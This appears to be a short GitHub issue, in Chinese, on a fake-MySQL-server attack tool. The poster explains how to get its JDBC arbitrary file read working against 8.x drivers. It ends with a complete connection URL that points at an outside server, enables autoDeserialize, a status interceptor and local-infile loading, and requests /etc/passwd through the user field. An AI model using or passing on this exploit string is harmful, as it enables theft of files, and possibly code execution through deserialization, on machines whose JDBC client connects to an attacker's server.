MySQL_Fake_Server
MySQL_Fake_Server copied to clipboard
建议完善jdbc连接语句
执行jdbc任意文件读取的时候,报错“但客户端的功能被“allowLoadLocalInfile”禁用 ”。这个可以通过修改mysql配置生效,但是发现生效后连接的时候还是会报以上问题。
最后通过jdbc连接的时候添加参数解决
添加allowLoadLocalInfile=true
最终8.x的语句如下
String DB_URL = "jdbc:mysql://39.10x.xx.xx:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&allowLoadLocalInfile=true&user=fileread_/etc/passwd